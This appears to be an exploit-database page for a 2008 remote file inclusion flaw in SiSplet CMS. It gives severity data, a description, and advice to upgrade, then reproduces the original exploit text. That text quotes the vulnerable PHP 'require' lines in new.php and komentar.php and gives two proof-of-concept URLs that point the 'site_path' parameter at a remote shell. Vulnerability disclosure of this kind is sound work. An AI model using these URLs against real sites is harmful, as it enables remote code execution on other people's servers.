SiSplet CMS - exploit.company

vendor:

SiSplet CMS

by:

cr4wl3r

7.5

CVSS

HIGH

Remote File Include

CWE

Product Name: SiSplet CMS

Affected Version From: 1/24/2008

Affected Version To: 1/24/2008

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

SiSplet CMS <= 2008-01-24 Multiple Remote File Include Exploit

SiSplet CMS version 2008-01-24 is vulnerable to multiple Remote File Include vulnerabilities. The vulnerability exists due to insufficient sanitization of user-supplied input in the 'site_path' parameter of 'new.php' and 'komentar.php' scripts. A remote attacker can exploit this vulnerability to execute arbitrary PHP code on the vulnerable system by including a malicious file from a remote location.

Mitigation:

Upgrade to the latest version of SiSplet CMS or apply the patch from the vendor.

Source

Exploit-DB raw data:

########################################################################
#SiSplet CMS <= 2008-01-24 Multiple Remote File Include Exploit
########################################################################

########################################################################
3rr0r 1: ./SiSplet-2008-01-24/main/anketa/new.php (line 3)

       <?php
           require_once($site_path.'main/anketa/class.php');
       ?>

3rr0r 2: ./SiSplet-2008-01-24/main/forum/komentar.php (line 3)

       <?php
           require($site_path.'main/forum/class.php');
       ?>
########################################################################

########################################################################
PoC  :   http://[target]/[path]/main/anketa/new.php?site_path=[Shell]
         http://[target]/[path]/main/forum/komentar.php?site_path=[Shell]
########################################################################

########################################################################
#Contact Me : cr4wl3r[4t]linuxmail[dot]org